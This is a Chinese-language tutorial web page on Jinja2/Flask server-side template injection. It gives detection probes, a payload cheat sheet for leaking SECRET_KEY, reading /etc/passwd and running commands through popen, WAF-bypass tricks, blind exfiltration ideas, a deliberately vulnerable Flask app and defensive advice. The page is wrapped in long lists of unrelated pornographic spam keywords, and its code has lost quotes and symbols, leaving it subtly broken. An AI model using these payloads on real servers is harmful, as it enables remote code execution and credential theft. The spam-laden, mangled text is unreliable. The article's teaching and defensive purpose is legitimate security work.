99精品久久精品一区二区-亚洲熟妇无码?v在线播放-日本国产精品无码字幕在线观看-久久久亚洲永夜AV-亚洲一级无码一区二区一-免费国产成高清人在线视频-中文字幕乱码免费观看-国产毛片精品妇女久久久

ARTICLE DETAIL

資訊詳情

深耕商務(wù)建站與企業(yè)官網(wǎng)運(yùn)營(yíng)的一線實(shí)戰(zhàn)洞察。

SSTI服務(wù)端模板注入實(shí)戰(zhàn):從Flask原理到繞過防御

SSTI服務(wù)端模板注入實(shí)戰(zhàn):從Flask原理到繞過防御 第一次在CTF里碰到SSTI的人十有八九會(huì)一臉懵一條報(bào)錯(cuò)信息明明是jinja2.exceptions.UndefinedError怎么轉(zhuǎn)手payload就能讀到服務(wù)器上的文件如果你也有過這種體驗(yàn)?zāi)沁@篇應(yīng)該能幫你把SSTI從聽說過變成徹底搞懂。我會(huì)以Flask為例子從服務(wù)端模板注入的原理講起把檢測(cè)技巧、常見payload、過濾繞過和防御手段全部拆開一條條揉碎了講清楚。全文面向安全測(cè)試人員、CTF玩家以及怕自己業(yè)務(wù)接口被注入的開發(fā)同學(xué)——不管你是要打題、做測(cè)試還是寫代碼的時(shí)候想避坑都能從這里找到想要的答案。1. SSTI到底是什么從一個(gè)翻譯過程的失控說起1.1 模板引擎在幫我們翻譯什么先理解正常渲染流程要理解服務(wù)端模板注入得先弄清楚模板引擎是怎么工作的。以Flask默認(rèn)的Jinja2為例它的核心思路很簡(jiǎn)單把一份帶占位符的文本當(dāng)作模板運(yùn)行時(shí)把變量填充進(jìn)去生成最終的HTML或文本返回給用戶。一個(gè)最最基本的例子from flask import Flask, render_template_string app Flask(__name__) app.route(/hello/name) def hello(name): template h1Hello, {{ name }}!/h1 return render_template_string(template, namename)正常請(qǐng)求/hello/world模板引擎會(huì)解析{{ name }}這個(gè)表達(dá)式把變量name的值world填充進(jìn)去返回h1Hello, world!/h1。這個(gè)流程平時(shí)沒有任何問題因?yàn)槟0謇锏谋磉_(dá)式是開發(fā)者寫死的變量的值由用戶提供。但注意Jinja2在渲染時(shí)并不是簡(jiǎn)單做字符串替換而是先把模板文本編譯成Python字節(jié)碼再執(zhí)行。換句話說模板里{{ ... }}和{% ... %}的內(nèi)容本質(zhì)上參與了一次代碼求值。如果某部分模板內(nèi)容本身就來自用戶輸入那這就不再是填充變量而是給了用戶一個(gè)在服務(wù)器上執(zhí)行Python表達(dá)式甚至命令的機(jī)會(huì)。這就是SSTI服務(wù)端模板注入Server-Side Template Injection。1.2 注入的根源用戶輸入被當(dāng)成了代碼而不是數(shù)據(jù)我見過很多朋友把SSTI和XSS搞混。兩者的共同點(diǎn)是都會(huì)在輸出層面做測(cè)試但XSS的利用目標(biāo)是瀏覽器SSTI的利用目標(biāo)是服務(wù)器本身嚴(yán)重程度天差地別。SSTI產(chǎn)生的根本原因可以總結(jié)成一句話不可信數(shù)據(jù)進(jìn)入了模板編譯的代碼路徑。常見寫法是哪些最容易踩坑的就是render_template_string因?yàn)楹芏嘟坛潭紩?huì)教新手把用戶參數(shù)直接拼進(jìn)模板字符串a(chǎn)pp.route(/page) def page(): tpl request.args.get(tpl, ) return render_template_string(h1 tpl /h1)也有一些框架或者快速原型項(xiàng)目會(huì)把整段頁面源碼存在數(shù)據(jù)庫里由管理員或者運(yùn)營(yíng)人員在后臺(tái)編輯再通過模板引擎渲染。如果誰能控制這段模板內(nèi)容權(quán)限配置不當(dāng)、數(shù)據(jù)庫注入、后臺(tái)邏輯漏洞效果和直接拿到命令執(zhí)行是等價(jià)的。判斷到底是不是SSTI最簡(jiǎn)單的思路是提交一個(gè)原本應(yīng)該被當(dāng)成數(shù)據(jù)的字符串結(jié)果里面如果包含了模板語法并且被當(dāng)成邏輯解析并執(zhí)行那這就是注入點(diǎn)。1.3 初步確認(rèn)最小化探測(cè)payload進(jìn)入實(shí)戰(zhàn)前先記牢三類探測(cè)方法。第一種是純算術(shù)表達(dá)式比如提交{{7*7}}如果返回49基本可以斷定是Jinja2或者其他支持算術(shù)運(yùn)算的模板引擎。第二種是字符串拼接提交{{ab}}如果返回ab同樣能說明表達(dá)式被執(zhí)行。第三種是注釋或者無意義表達(dá)式看回顯判斷是否觸發(fā)報(bào)錯(cuò)以及報(bào)錯(cuò)內(nèi)容是否泄露模板引擎類型。實(shí)測(cè)中我更喜歡先提交一個(gè){{7*7}}再提交一個(gè)${7*7}。兩者結(jié)果一對(duì)比就能分辨引擎類型——Jinja2返回49而${...}在很多Java模板引擎比如FreeMarker里是標(biāo)準(zhǔn)語法。一個(gè)字符串一次性測(cè)兩種引擎效率最高。但這里要提醒一句如果你提交{{7*7}}發(fā)現(xiàn)頁面還是原樣返回{{7*7}}并不代表沒有SSTI有可能是模板引擎把輸入做了轉(zhuǎn)義也可能是輸入在到達(dá)模板前就被拼接到了不該拼接的地方。這就需要進(jìn)一步觀察報(bào)錯(cuò)頁面和響應(yīng)差異。2. 原理追查Jinja2的變量解析和Python對(duì)象模型2.1 表達(dá)式、過濾器、全局變量Jinja2的求值規(guī)則既然要去構(gòu)造payload就得先搞清楚Jinja2支持哪些語法。模板里最常見的三種結(jié)構(gòu){{ expr }}輸出一個(gè)表達(dá)式的值{% statement %}執(zhí)行控制流語句比如if、for{# comment #}是注釋。在{{ ... }}內(nèi)部我們可以使用變量、字面量、算術(shù)運(yùn)算符、比較運(yùn)算符、邏輯運(yùn)算符還可以用管道符調(diào)用過濾器比如{{ name|upper }}。這些都是模板引擎提供給開發(fā)者的能力。但SSTI真正要用的并不只是這些常規(guī)操作而是要借助Python對(duì)象模型本身提供的能力。Jinja2有一個(gè)非常重要的特性它允許訪問對(duì)象的屬性和方法。寫法有{{ obj.attr }}和{{ obj[attr] }}兩種。表面上這只是個(gè)取值操作但一旦我們能拿到對(duì)象的內(nèi)部屬性比如__class__、__init__就等于拿到了通往底層的鑰匙。Jinja2自帶一些全局變量比如configFlask的配置對(duì)象、self當(dāng)前模板上下文、request、session、g等等。其中config是最友好的信息收集目標(biāo)一個(gè){{config}}往往就能泄露SECRET_KEY、數(shù)據(jù)庫連接串等敏感信息。2.2 MRO與魔術(shù)方法為什么SSTI能一路爬到系統(tǒng)命令現(xiàn)在進(jìn)入最關(guān)鍵的部分。Python一切皆對(duì)象而對(duì)象的類型、父類、方法列表都可以通過幾個(gè)魔術(shù)方法拿到__class__獲取當(dāng)前對(duì)象的類。__mro__返回一個(gè)元組包含當(dāng)前類以及它的所有父類順序按照方法解析順序排列。__bases__返回當(dāng)前類的直接父類。__subclasses__()返回當(dāng)前類的所有直接子類列表。__init__構(gòu)造函數(shù)。__globals__如果作用于某個(gè)函數(shù)返回一個(gè)字典包含該函數(shù)所在模塊的全部全局變量。SSTI利用鏈的思路可以概括為從任何一個(gè)對(duì)象出發(fā)先拿到它的類再通過類找父類最后到達(dá)object或者某個(gè)工具類然后通過__subclasses__()拿到當(dāng)前進(jìn)程里所有類的列表從中挑選能夠做危險(xiǎn)操作的類。舉個(gè)例子空字符串是一個(gè)字符串對(duì)象.__class__就是class str.__class__.__mro__會(huì)返回(class str, class object)。這里很多教程會(huì)直接用__mro__[1]或者_(dá)_mro__[2]看起來索引值不穩(wěn)定其實(shí)是因?yàn)槠瘘c(diǎn)對(duì)象不同索引位置可能有差異。最好的習(xí)慣是先用__mro__看看返回幾個(gè)父類再選擇真正指向object的那一個(gè)下標(biāo)。拿到object之后調(diào)用__subclasses__()會(huì)得到當(dāng)前Python解釋器里已經(jīng)加載的所有類的列表。這里面會(huì)有os._wrap_close、subprocess.Popen、warnings.catch_warnings、file僅Python2等一大批可以利用的類。它們都是object的直接或間接子類所以在列表里一定能找到。2.3 版本差異Python2和Python3下的不同路線這塊很容易讓人踩坑。Python2的object子類列表里直接有一個(gè)type file它對(duì)應(yīng)的構(gòu)造函數(shù)可以用來讀取文件.__class__.__mro__[2].__subclasses__()[40](/etc/passwd).read()但在Python3中file類型已經(jīng)不存在了同樣的索引位置可能是完全不同的類必須尋找io._IOBase、io.TextIOWrapper等替代類或者直接找os相關(guān)的類來拼命令執(zhí)行。實(shí)操中最穩(wěn)定、最有代表性的做法是遍歷子類列表用特征類名定位。比如{% for x in ().__class__.__mro__[1].__subclasses__() %} {% if os in x.__module__ %} {{ x.__module__ }}.{{ x.__name__ }} {% endif %} {% endfor %}這種思路之所以可靠是因?yàn)槲覀儾皇强坑簿幋a的索引位置而是靠模塊路徑和類名特征去匹配。在跑批量測(cè)試和寫自動(dòng)化腳本的時(shí)候哪怕Python小版本升級(jí)導(dǎo)致類列表順序變化這套方案依然能命中只是需要額外寫一點(diǎn)解析邏輯。3. 常用payload全梳理一條鏈路打到命令執(zhí)行3.1 最基礎(chǔ)的探測(cè)與信息收集我把平時(shí)用的比較高頻的基礎(chǔ)探測(cè)payload整理一下。假設(shè)注入點(diǎn)在render_template_string的參數(shù)里我們需要分階段推進(jìn)。第一階段是確認(rèn)。提交{{7*7}}看回顯是否是49??梢允莧{7*7}}這樣如果引擎執(zhí)行了字符串乘法結(jié)果是一連串7也能判斷表達(dá)式執(zhí)行了。第二階段是信息收集。提交{{config}}如果Flask應(yīng)用開啟了調(diào)試或者模擬環(huán)境配置沒被隱藏頁面會(huì)直接顯示配置字典里面可能有SECRET_KEY、數(shù)據(jù)庫URI等敏感值。提交{{self}}可以得到模板對(duì)象本身的信息也有時(shí)候會(huì)順帶泄露一些全局上下文。第三階段是定位可利用對(duì)象。一個(gè)經(jīng)典payload是{{ [].__class__.__mro__[1].__subclasses__() }}這里[]是列表對(duì)象__class__拿到list__mro__[1]直接指向object再拿所有子類。輸出列表可能非常長(zhǎng)但沒關(guān)系我們要的就是這份列表從里面挑能用的類。3.2 從當(dāng)前對(duì)象到任意類subclasses遍歷技巧真正要打命令執(zhí)行我最常用的路線是這樣一條{{ .__class__.__mro__[2].__subclasses__() }}這條利用的就是空字符串對(duì)象。為什么從空字符串開始因?yàn)椴还苁怯昧斜?、字典、還是整數(shù)對(duì)象我們最終都要回到object而寫起來最短方便嵌套和拼接。問題是怎么在Payload中快速定位有用的子類手工維護(hù)一個(gè)索引是可行的但不同題目不同環(huán)境結(jié)果不同線上環(huán)境又不想每次都打印幾百行。推薦兩種方式。第一種是用模板自身循環(huán)遍歷子類列表通過名字或模塊名篩選出目標(biāo)比如搜索subprocess.Popen或os._wrap_close{% set stream cycler.__init__.__globals__.os.popen %} {{ stream(id).read() }}第二種是直接在模板里遍歷并且把符合條件的類一次性打印出來{% for x in ().__class__.__bases__[0].__subclasses__() %} {% if catch_warnings in x.__name__ %} {{ x.__init__.__globals__ }} {% endif %} {% endfor %}值得說明的是cycler、joiner、namespace這些都是Jinja2內(nèi)置對(duì)象它們自帶__init__.__globals__里面通常能直接找到os模塊、__builtins__等好東西比盯著subclasses列表一條條翻要快得多。3.3 命令執(zhí)行和文件讀取一條鏈路打通命令執(zhí)行的通式一般長(zhǎng)這樣核心是利用某個(gè)函數(shù)對(duì)象拿到__globals__再通過__builtins__或os去執(zhí)行命令{{ .__class__.__mro__[2].__subclasses__()[position].__init__.__globals__[__builtins__][__import__](os).popen(cat /etc/passwd).read() }}position指的是目標(biāo)類在__subclasses__()返回列表中的位置。比如warnings.catch_warnings類在多數(shù)環(huán)境里位置往往比較靠前可以直接用{{ .__class__.__mro__[2].__subclasses__()[139].__init__.__globals__[__builtins__] }}拿到__builtins__以后再順著它去找__import__或者直接訪問os.popen、os.system。有一點(diǎn)要注意__globals__只有在作用于函數(shù)對(duì)象時(shí)才存在作用于類對(duì)象有時(shí)會(huì)報(bào)錯(cuò)。文件讀取的路線也類似。Python3里可以用open函數(shù)通過__builtins__直接打開文件{{ config.__class__.__init__.__globals__[__builtins__][open](/etc/passwd).read() }}或者找到_io.FileIO、io.TextIOWrapper等類手動(dòng)實(shí)例化但那條路要傳模式參數(shù)代碼一長(zhǎng)寫起來就費(fèi)勁。所以我一般優(yōu)先打__builtins__里的內(nèi)置函數(shù)如果被過濾再考慮類實(shí)例化路線。3.4 快速參考常用payload速查表為了打題和自查方便我整理了一張速查表可以直接抄但順手記一下原理更好。目標(biāo)Payload示例說明基礎(chǔ)探測(cè){{7*7}}返回49則說明表達(dá)式被求值Flask配置泄露{{config}}可能暴露SECRET_KEY等敏感信息獲取當(dāng)前對(duì)象類名{{ .__class__ }}返回str類獲取object類{{ .__class__.__mro__[1] }}得到object類列出所有子類{{ [].__class__.__mro__[1].__subclasses__() }}大列表讀取文件{{ config.__class__.__init__.__globals__[__builtins__][open](/etc/passwd).read() }}用內(nèi)置open命令執(zhí)行{{ cycler.__init__.__globals__.os.popen(id).read() }}利用Jinja2內(nèi)置對(duì)象全局變量命令執(zhí)行備選{{ .__class__.__mro__[2].__subclasses__()[x].__init__.__globals__[__builtins__][__import__](os).popen(id).read() }}遍歷定位x表里面最后一條的[x]必須根據(jù)實(shí)際環(huán)境來定這也是寫自動(dòng)化掃描腳本時(shí)經(jīng)常要處理的一環(huán)。4. 過濾與繞過實(shí)戰(zhàn)里真正考驗(yàn)人的地方4.1 常見過濾規(guī)則前文說的都是沒有過濾的理想場(chǎng)景。真正要面對(duì)的題目或者真實(shí)系統(tǒng)多少會(huì)做一些WAF或參數(shù)校驗(yàn)。總結(jié)下來最常見的過濾類型大概有五種過濾關(guān)鍵字比如__class__、popen、os、過濾特殊字符_、[、]、單雙引號(hào)、過濾數(shù)字、過濾{{ }}以及過濾一些內(nèi)置函數(shù)名。第一種最好辦用字符串拼接繞過。第二種比較頭疼因?yàn)楹芏嗄0遄⑷朦c(diǎn)在數(shù)組下標(biāo)或者屬性訪問上都依賴[]和雙下劃線。第三種常見于需要傳數(shù)字索引的payload可以通過模板自身的解析技巧繞過。第四種最麻煩如果連{{和{%都被轉(zhuǎn)義那基本沒有注入點(diǎn)了但很多時(shí)候它們的過濾并不完整只在輸入層替換一次。4.2 經(jīng)典的繞過組合先說過濾[]。不管是__getitem__還是模板自帶的attr過濾器都能替代中括號(hào)下標(biāo)訪問。例如.__class__如果被過濾可以寫成|attr(__class__)。在Jinja2里這算是最優(yōu)雅的一種繞法。如果單雙引號(hào)也被過濾我們可以用request.args獲取URL參數(shù)讓payload里不再出現(xiàn)引號(hào)或者下劃線{{ request.args.f }}配合URL請(qǐng)求{{ cycler.__init__.__globals__.os.popen(request.args.cmd).read() }}cmdid如果下劃線_被過濾可以用十六進(jìn)制編碼、Unicode編碼或者通過\x5f拼接繞過。比如__class__可以寫成\x5f\x5fclass\x5f\x5f在Python解釋器看來\x5f就是下劃線字符。不過要注意Jinja2的解析層相對(duì)嚴(yán)格某些編碼方式在模板表達(dá)式里不一定生效實(shí)測(cè)中需要根據(jù)報(bào)錯(cuò)逐步調(diào)整。如果關(guān)鍵字os、popen被過濾可以做拼接{{ cycler.__init__.__globals__[os].popen(id).read() }}Jinja2會(huì)先做字符串拼接再去做屬性訪問這一步恰好能繞過很多簡(jiǎn)單的詞法過濾。4.3 無回顯下的盲打思路有些環(huán)境不會(huì)把模板渲染結(jié)果直接輸出只返回200或404。這時(shí)候就要走盲注或者帶外通道。最常用的是利用命令執(zhí)行后的時(shí)間延遲比如調(diào)os.system(sleep 5)看響應(yīng)時(shí)間是否明顯增加用時(shí)間差確認(rèn)漏洞存在。也可以用DNS外帶的方式確認(rèn)命令執(zhí)行成功把whoami的結(jié)果拼到域名里發(fā)出去在外部記錄到解析請(qǐng)求就說明命令已經(jīng)執(zhí)行。這類盲打的關(guān)鍵在于不能太依賴頁面回顯要在日志和響應(yīng)時(shí)間上找信號(hào)。如果命令執(zhí)行被限制也可以退而求其次先盲讀文件用布爾條件來判斷文件內(nèi)容類似SQL注入里的盲注思路。比如在模板里判斷某個(gè)文件是否存在存在就配置不同的響應(yīng)。這種方案的效率不算高但屬于兜底手段值得掌握。5. 本地實(shí)操搭個(gè)漏洞環(huán)境走一遍完整鏈路5.1 最小化漏洞應(yīng)用說了這么多不如直接在本地把環(huán)境搭起來從零到一驗(yàn)證一遍。我用一個(gè)最簡(jiǎn)化的Flask應(yīng)用來做實(shí)驗(yàn)代碼如下from flask import Flask, request, render_template_string app Flask(__name__) app.route(/) def index(): name request.args.get(name, ) template h1Hello, name !/h1 return render_template_string(template) if __name__ __main__: app.run(host0.0.0.0, port5000, debugTrue)本地跑起來以后訪問/?name{{7*7}}頁面返回Hello, 49!說明存在SSTI。建議加一句debugTrue好處是出錯(cuò)能看到詳細(xì)的報(bào)錯(cuò)棧能直觀看到模板編譯發(fā)生了異常。當(dāng)然生產(chǎn)環(huán)境千萬別這么寫我這是為了驗(yàn)證方便。5.2 走完整條利用鏈第一步先確認(rèn)表達(dá)式執(zhí)行。然后收集信息訪問/?name{{config}}頁面上會(huì)輸出Flask配置包括SECRET_KEY。這一步往往已經(jīng)能用來偽造session了如果實(shí)際測(cè)試目標(biāo)有登錄功能這已經(jīng)是一個(gè)高危風(fēng)險(xiǎn)點(diǎn)。第二步先拿子類列表。訪問/?name{{ [].__class__.__mro__[1].__subclasses__() }}頁面會(huì)輸出一大串類列表。復(fù)制下來搜索os._wrap_close或者warnings.catch_warnings記錄它的索引位置。我這次本地環(huán)境里os._wrap_close出現(xiàn)在第226位左右但你機(jī)器上的位置很可能不同所以動(dòng)態(tài)定位更重要。第三步構(gòu)造命令執(zhí)行payload/?name{{ [].__class__.__mro__[1].__subclasses__()[226].__init__.__globals__[os].popen(id).read() }}如果一切正常頁面會(huì)輸出uid...的用戶信息。到這一步SSTI已經(jīng)從一條報(bào)錯(cuò)變成了實(shí)打?qū)嵉拿顖?zhí)行。第四步讀取文件/?name{{ config.__class__.__init__.__globals__[__builtins__][open](/etc/passwd).read() }}在Python3環(huán)境中這個(gè)payload應(yīng)該能夠讀出文件內(nèi)容。5.3 踩坑記錄為什么你的payload不通我在這塊踩過的坑不少總結(jié)幾個(gè)高頻問題。第一個(gè)是__globals__只有函數(shù)對(duì)象才有。很多人拿到某個(gè)類以后直接調(diào).__init__.__globals__但如果這個(gè)類不繼承任何函數(shù)或者_(dá)_init__本身不是Python函數(shù)而是內(nèi)置函數(shù)就會(huì)返回AttributeError或者得到預(yù)期之外的結(jié)果。解決方法是盡量選擇諸如warnings.catch_warnings.__init__這種由Python實(shí)現(xiàn)的方法來訪問。第二個(gè)是__subclasses__()返回的子類列表位置不穩(wěn)定。同一個(gè)應(yīng)用稍微改一條import語句、換一個(gè)Python小版本列表就會(huì)變。寫掃描器或者寫exp的時(shí)候不要硬編碼索引應(yīng)該用模塊名和類名做匹配。第三個(gè)是模板里直接使用[]方式訪問字典有時(shí)會(huì)觸發(fā)Jinja2的解析規(guī)則。Jinja2允許__globals__[os]這種寫法但某些版本對(duì)__globals__[__builtins__]這種雙下劃線鍵名解析有差異建議遇到報(bào)錯(cuò)時(shí)換成|attr過濾器或者用.__builtins__直接訪問屬性。第四個(gè)很隱蔽{{config}}能輸出不等于{{config.__class__}}也能輸出。Flask的config對(duì)象繼承自字典但有些版本里直接訪問它的__init__會(huì)拿到一個(gè)純內(nèi)部的構(gòu)造器里面沒有__globals__。很多時(shí)候要繞一下先走config.__class__.__mro__找到object再按老路子走。6. 怎么防給同樣在被SSTI困擾的人6.1 代碼層的防御思路防御SSTI最核心的一條就是永遠(yuǎn)不要把模板字符串的來源交給用戶控制。如果你非要?jiǎng)討B(tài)渲染那至少要做到用戶輸入只作為變量的值傳給模板而不是作為模板文本本身。正確的Flask寫法是這樣的app.route(/hello/name) def hello(name): return render_template_string(h1Hello, {{ name }}!/h1, namename)這樣用戶輸入哪怕包含{{7*7}}也只會(huì)被當(dāng)作字符串值渲染輸出而不會(huì)被當(dāng)成模板邏輯執(zhí)行。另一個(gè)建議是盡量使用render_template去加載獨(dú)立的模板文件少用render_template_string。哪怕動(dòng)態(tài)拼模板也一定不要直接拼用戶數(shù)據(jù)。如果需要給用戶提供有限的模板能力可以考慮用Jinja2沙箱從環(huán)境配置上禁用危險(xiǎn)的函數(shù)和屬性訪問。但要注意純靠沙箱攔不住所有情況因?yàn)槟0逡姹旧硖峁┑膶?duì)象已經(jīng)足夠豐富一旦某個(gè)全局對(duì)象能被訪問攻擊者可能從它身上繞回危險(xiǎn)函數(shù)。所以沙箱只能作為輔助不能當(dāng)作唯一防線。6.2 配置與運(yùn)維加固除了代碼層面運(yùn)維和框架配置也要跟上。比如把Flask的DEBUG模式關(guān)閉避免報(bào)錯(cuò)頁面泄露堆棧信息生產(chǎn)環(huán)境不要暴露模板源碼路徑給Web應(yīng)用單獨(dú)設(shè)置低權(quán)限用戶別用root跑應(yīng)用讓它即使被攻破也沒辦法讀取太多敏感文件對(duì)外部輸入做輸入長(zhǎng)度限制比如限制單參數(shù)長(zhǎng)度雖然不能從根本上防注入但能明顯增加攻擊成本。另一種更穩(wěn)妥的隔離思路是讓模板渲染層和業(yè)務(wù)代碼完全分離。模板內(nèi)容放在獨(dú)立的文件甚至單獨(dú)的服務(wù)里不允許業(yè)務(wù)接口直接傳模板字符串。很多大型項(xiàng)目會(huì)直接用前端框架渲染頁面后端只返回JSON這樣SSTI的攻擊面自然就小了很多。6.3 常見問題排查速查現(xiàn)象可能原因解決思路{{7*7}}原樣輸出輸入被轉(zhuǎn)義或未進(jìn)入模板表達(dá)式檢查渲染位置、過濾邏輯{{7*7}}輸出49但{{config}}報(bào)錯(cuò)全局變量被禁用用self或request等替代__subclasses__()返回空沙箱攔截?fù)Q一條鏈子比如從cycler入手__globals__訪問報(bào)錯(cuò)目標(biāo)不是函數(shù)對(duì)象換一個(gè)函數(shù)型初始化器來訪問命令執(zhí)行失敗但探測(cè)成功被過濾了或目標(biāo)類無權(quán)限考慮盲打、繞過、或者換用文件讀取頁面返回500Payload語法或類型錯(cuò)誤用本地Jinja2環(huán)境逐段調(diào)試排查的時(shí)候我習(xí)慣先在本地裝一個(gè)同版本的Jinja2把payload扔進(jìn)render_template_string里做最小化驗(yàn)證確認(rèn)語法沒有問題再上目標(biāo)。這比直接在目標(biāo)機(jī)上試錯(cuò)要穩(wěn)得多。我個(gè)人踩過幾輪之后的體會(huì)是SSTI的利用鏈確實(shí)靈活得可怕但只要把握住數(shù)據(jù)不入模板編譯路徑這條底線防御思路其實(shí)非常簡(jiǎn)單。對(duì)開發(fā)者來說寫每行模板渲染代碼時(shí)都多想一步這個(gè)輸入會(huì)不會(huì)被當(dāng)成代碼執(zhí)行對(duì)測(cè)試人員來說先確保自己理解了Jinja2的求值順序和Python對(duì)象模型再動(dòng)手去打payload才能做到彈無虛發(fā)。安全這東西很多時(shí)候差的真不是技巧是那一層再往下挖一層的意識(shí)。
返回列表
PREV
查看更多資訊
NEXT
返回資訊列表
久热黄色| 五月天婷婷成人资源站| 久草免费福利视频| 五月丁香啪啪| 久久婷狠狠色| 五月丁香色婷婷| 他改变了拜占庭| 色婷婷在线视频观看| 色五月大| 亚洲最大成人综合网720P| 五月婷婷六月丁香五月| www.亭亭五月天| 热99国产精品| 欧美六月| 九九久久五月天综合伊人| 五月婷三级片| 婷婷D区| 在线观看欧美| 五月天婷婷伊人| 亚洲婷婷激情五月天| 五月丁香婷婷网网网网| 最新日本A片| 激情性爱网站| 五月婷婷色啪| 色v综合网| 激情四射亚洲| 天天色综网| 爱射综合| 在线播放成人网站| 五月丁香啪啪啪| 色五月色五天色情网| 人妻VideOssS人妻| 五月天激情无码专区| 丁香六月色情| 天天夜夜六月丁香五月婷婷老师| 人妻 性久久久久久| 日日日,com| 久青操| 色色五月激情| 99热久草| 激情综合五月| 天天操九九插| 99精在线| 欧美99视频| 婷婷五月天六月丁香| 亚洲色婷婷五月| 色噜噜在线| 丁香五月在线伊人| 国产3p露脸普通话对白| 亚洲视频在线观看| 亚洲成人在线观看网址| 六月婷婷香蕉| 在线观看熟女少妇| 婷婷五月天另类网站| 开心五月婷婷激情网| 欧美美女国产日韩一区二区久 | 91丨九色丨老农村| 日本九九视频| 久久五月天精品视频| 日韩成人网址| 深爱丁香激情| 99综合| 久久人妻人人| 激情综合网五月婷婷| 中文字幕永久在线| 五月婷婷爽爽爽| 五月丁香色停停啪啪啪| 综合激情在线| 另类图片五月天婷婷| 婷婷五月天改成什么了| 99热这里只有精品在线播放| 99自拍视频在线观看| 婷婷激情社区| 国产乱轮一区二区三区| 人妻性操逼中文字幕 国产| 天天做天天爱天天日| 成人五月天在线视频在线观看| 婷婷丁香五月天综合网| www.日本91| 亚洲无码另类| 五月丁香六月婷综合成人综合| 五丁香激情综合| 五月丁香狠狠| 五月丁香婷婷啪啪| 啪精品| www.婷婷五月| 婷婷丁香五月亚洲| 97人人草| 超碰在线中文字幕| 99精品在线下载| 色 色 色综合com| 亚洲色图五月丁香| 色色草97| 久久亚洲色导航| 色久五月天| 香蕉综合在线| 人人爽欧美婷婷久久久五月丁香| 99只有这里是精品| 婷婷伊人网| 久久九九思思| 提提热五月天婷婷| 激情五月天影院| 丁香五月 性爱| 五月婷婷中文字幕| 欧美xx激情视频在线观看| 婷婷久久五月天| 九九九九热99超碰| 五月天五月色| 久久久婷| 五月亭亭六月色| 色婷婷丁香五月在线观看| 久久大香蕉| 五月丁香最新| 日本 @ va 免费| 99色色网| 91碰碰| 玖玖婷婷五月天| 97色色网| 99久久国产成人精品| 青草五月天| AA片在线观看视频在线播放| 欧美激情 日韩无码 婷婷 五月天| 九九热最新地址| 婷婷色网| 激情五月激情综合网| 五月精品99综合| 久久草大香蕉| 97色色色色色| 六月丁香婷婷色狠狠久久| 99热免费看| 人妻熟人中文字幕一区二区| 五月天成人手机在线视频| 九九99精品视频在线观看| 狠狠干狠狠操狠狠爱| 婷久看人爽| 1024日韩| 第四色五月激情网| BBWCUCKOLD精品熟妇| 美女黄频aⅴ视频| 这里只有精品无码| 黄网在线免费播放| 五月丁香综合| 五月丁香六月婷婷,婷| 中文字幕在线免费观看视频| 亚洲热手机在线观看| WWW99热| 99热99精品| 五月天激情综合网| 五月婷婷性爱| 四川BBB搡BBB爽爽视频| 五月草影视| 丁香8月手机综合| 青草热视频这里只有精品| 五月婷婷影院| 婷婷五月天干干| 97丨九色丨国产丨PORNY| 五月婷丁香花| 五月天丁香婷婷网| 丁香五月婷婷日本| 人人97碰| 亚洲色色色色色色色色色| Av九九| 影视av久久久噜噜噜噜噜三级| 182TV大香蕉| 欧美激情中文字幕| 五月婷婷婷婷| 婷婷五月天成人综合网| 超碰人人91| 91人妻人人做人碰人人爽九色| 无码区婷婷五月花开| 三级三久久线久久99久目本WW| 超碰人人操人人干| 亚洲精品国产A久久久久久| 中文字幕 久久9999| 久久婷综| 成片免费播放| 开心五月综合| 婷婷成人网五月天| 丁香婷婷综合色五月激情国产基地| 久久99精品久久只有精品| 亚洲无码成人网| 激情性爱五月天| 五月天色色激情综合| 开心五月婷婷| 超碰资源在线| 思思热99在线| 日韩性爱无码| 久久这里只有精品久久| 色婷网站| 丁香婷婷基地| 婷婷色五月色| 99激| 色婷婷888| 国精产品一区一区三区免费视频| 99色在线| 久久这里有精品在线观看| 五月天综合婷婷| 日韩淑女人妻luan伦激情精品一区二 | 五月丁香六月日逼| 久久久精品99| 五月丁香亭亭电影久久| 亚洲操b| 久久这里99| 人妻激情视频| 色婷婷色丁香色欲av| 99久久99九九九99九他书对| 五月婷婷开心五月| 日日撸天天干| 色婷婷内射| 亚洲国产网站| 丁香五月亚洲综合| 免费视频WWW在线观看网站| 天天激情欧美美女| 大陆肏屄视频| 玖操97| 色婷婷操逼| 超级久久久| 天天综合精品| 婷婷深爱五月| 996er热| 日本成人小说婷婷六月| 色天天久婷婷| 色播五月婷婷综合| 婷婷六月丁香开心深深爱| 久久人视频| www.天天干| www.maotanji.com| 人人色婷婷| 99热日本| 日本熟妇人妻在线| 五月婷婷成人网首页| 秋霞AV淫| 99热最新精品| 天天色图| 亚洲欧美成人在线| 中文无码婷婷| 99久在线精品99re8| 亚洲啪| 国产成人精品一区二三区熟女在线| 成人在线视频男人的天堂4399| 99色在线视频| 亚洲欧美成人在线| 亚洲午夜AV| 六月婷婷色综合| 亚洲热热视频| 狠狠色97| 99天堂网| 激情五月综合| 99精品国产在热久久| 99热99在线| 久久九九99| 九九自拍网| 久久久久久人妻| 成人开心五月天| 天天综合影院| 啪色综合| 色日本五月天| 日曰躁夜夜躁2026| 日逼影音先锋AV男人资源站| 韩国19 主播内部福利vip免费播放| 久久久久久9热不雅视频| 黄网在线免费| 美腿丝袜AV天堂网| 婷婷丁香五另类网站| 色情丁香五月婷婷精品| 五月婷婷xxx| 色六月丁香婷婷啪啪啪| 麻豆123区| 婷婷丁香五月天亚洲| 五月婷婷丁香色吧网| 五月婷婷我| 99热在线精品观看| 日日夜夜天天综合| 国自产拍偷拍精品啪啪一区二区| 在线免费视频caop| Www99热| 午夜亚洲国产精品av一区二区| 香蕉婷婷色五月| 五月天精品| 亚洲综合99| 欧美在线视频免费播放| 深爱激情五月天| 4438亚洲欧美| 九月婷婷激情| 久草五月天电影网| 丁五月激情视频免费| 久久在线大香蕉| 婷婷丁香18| 日韩限制级大尺度黑料泄密大尺度视频一区二区在线观看 | 超碰人人妻| 先锋资源婷婷| 婷婷5月开心6月| 五月婷婷久草在线视频综合| 丁香五月婷婷啪啪| 日本在线观看aaa 99| 色在线99| 日日日影院| 五月狠狠| 刘玥av在线| 六月丁香婷婷综合影院| 久1色色| 无码网站视频| 九九成人| 丁香五月人妻| 五月婷婷伊人在线| 亚洲成人综合在线| 97色天堂| 久久少妇视频| 人人色人人弄人人操| 色五月大香蕉婷婷| 欧美激情五月| 欧美肉大捧一进一出免费视频| 免费V片在线| 久久婷婷青草五月天| 天天操天天日天天操| 色欲丁香| 五月婷婷六月丁香玖玖玫瑰91| 婷婷五月在线综合| 大香蕉五月天婷婷| 五月婷婷福利| 婷婷深爱五月天| 亚洲综合成人网站| 青青草原福利在线| 